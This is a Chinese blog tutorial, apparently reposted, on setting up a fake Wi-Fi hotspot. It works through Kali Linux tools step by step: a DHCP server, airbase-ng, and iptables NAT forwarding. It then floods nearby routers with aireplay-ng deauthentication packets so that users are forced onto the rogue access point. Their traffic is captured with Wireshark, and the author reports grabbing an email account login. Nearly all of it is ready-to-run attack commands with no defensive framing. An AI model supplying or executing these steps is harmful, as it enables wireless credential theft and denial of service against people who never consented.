• 创建假的wifi热点


    本帖介绍怎么创建假的wifi热点,然后抓取连接到这个wifi用户的敏感数据。我们还会给周围的无线路由器发送未认证的包,使这些路由器瘫痪,强迫用户连接(或自动连接)我们创建的假wifi热点。

    这种攻击也叫”水坑攻击”-把其他用户都聚集到一个”坑”中。

    系统要求:

    • Kali Linux
    • 本地有线网络连接(网络接口 eth0)
    • 无线网卡支持包注入模式和监控模式 (网络接口 wlan0)
    • 各种抓包工具-Wireshark、 ettercap、tcpdump…

    获得默认网关

    # route -n

    创建假的wifi热点

    这个值在设置iptables时会用到。

    安装DHCP服务

    用处: 为连接假wifi的用户分配IP。

    # apt-get install isc-dhcp-server

    配置DHCP:

    # vim /etc/dhcp/dhcpd.conf

    文件中内容:

    authoritative;
    default-lease-time 600;
    max-lease-time 7200;
    
    subnet 192.168.10.0 netmask 255.255.255.0 {
       option routers 192.168.10.1;
       option subnet-mask 255.255.255.0;
       option domain-name "freewifi";
       option domain-name-servers 8.8.8.8,8.8.4.4,192.168.0.1;
       range 192.168.10.100 192.168.10.140;
    }
    

    先不启动DHCP服务。

    进入无线网卡的监控模式

    # airmon-ng start wlan0
    # airmon-ng check kill

    把wlan0替换为你的无线网卡接口。

    要退出监控模式,执行:

    # airmon-ng stop wlan0mon

    创建wifi热点

    # airbase-ng -c 11 -e fake_wifi wlan0mon

    创建假的wifi热点

    不要终止这个命令。

    创建假的wifi热点

    现在你已经创建了一个wifi热点,但是这个wifi目前还不能连接。

    设置网络和防火墙规则

    # ifconfig at0 up
    # ifconfig at0 192.168.10.1 netmask 255.255.255.0
    # ifconfig at0 mtu 1400
    # route add -net 192.168.10.0 netmask 255.255.255.0 gw 192.168.10.1
    # iptables --flush
    # iptables --table nat --flush
    # iptables --delete-chain
    # iptables --table nat --delete-chain
    # echo 1 > /proc/sys/net/ipv4/ip_forward
    # iptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.0.1
    # iptables -P FORWARD ACCEPT
    # iptables --append FORWARD --in-interface at0 -j ACCEPT
    # iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
    

    启动DHCP服务

    # dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0
    # systemctl start isc-dhcp-server

    遇到的问题:

    PID file: /var/run/dhcpd.pid
    Can't open lease database /var/lib/dhcp/dhcpd.leases: No such file or directory --
    

    创建这个文件解决这个问题:

    # mkdir /var/lib/dhcp/
    # touch /var/lib/dhcp/dhcpd.leases

    到此,wifi热点创建完成。

    创建假的wifi热点

    创建假的wifi热点

    瘫痪其他路由

    列出周围的wifi:

    # airodump-ng wlan0mon

    然后选择你的目标,记住BSSID和频道。

    设置频道:

    # iwconfig wlan0mon channel <频道号>

    开始deauthentication攻击:

    # aireplay-ng -0 5000 -a <BSSID> wlan0mon --ignore-negative-one

    OK,现在你可以愉快的抓包了。


    例如使用Wireshark抓包:

    创建假的wifi热点

    上图抓到了我手机邮件客户端登录的邮箱账户。

  • 相关阅读:
    Screen print or copy
    <转>关于SQL Server数据库的若干注意事项
    sql server 链接到oracle库,读取对应信息
    LinkedServer链接服务器的使用
    序号生成一例
    新解:报表服务器数据库的版本格式无效,或无法读取。已找到的版本为“Unknown”,而所需的版本为“C.0.8.40”。
    GridView to Excel
    sql server临时表是否存在
    <转>SQL Server大表转为分区表实例
    <转> 人生十二个经典领悟
  • 原文地址:https://www.cnblogs.com/Expioit/p/9143228.html
Copyright © 2020-2023  润新知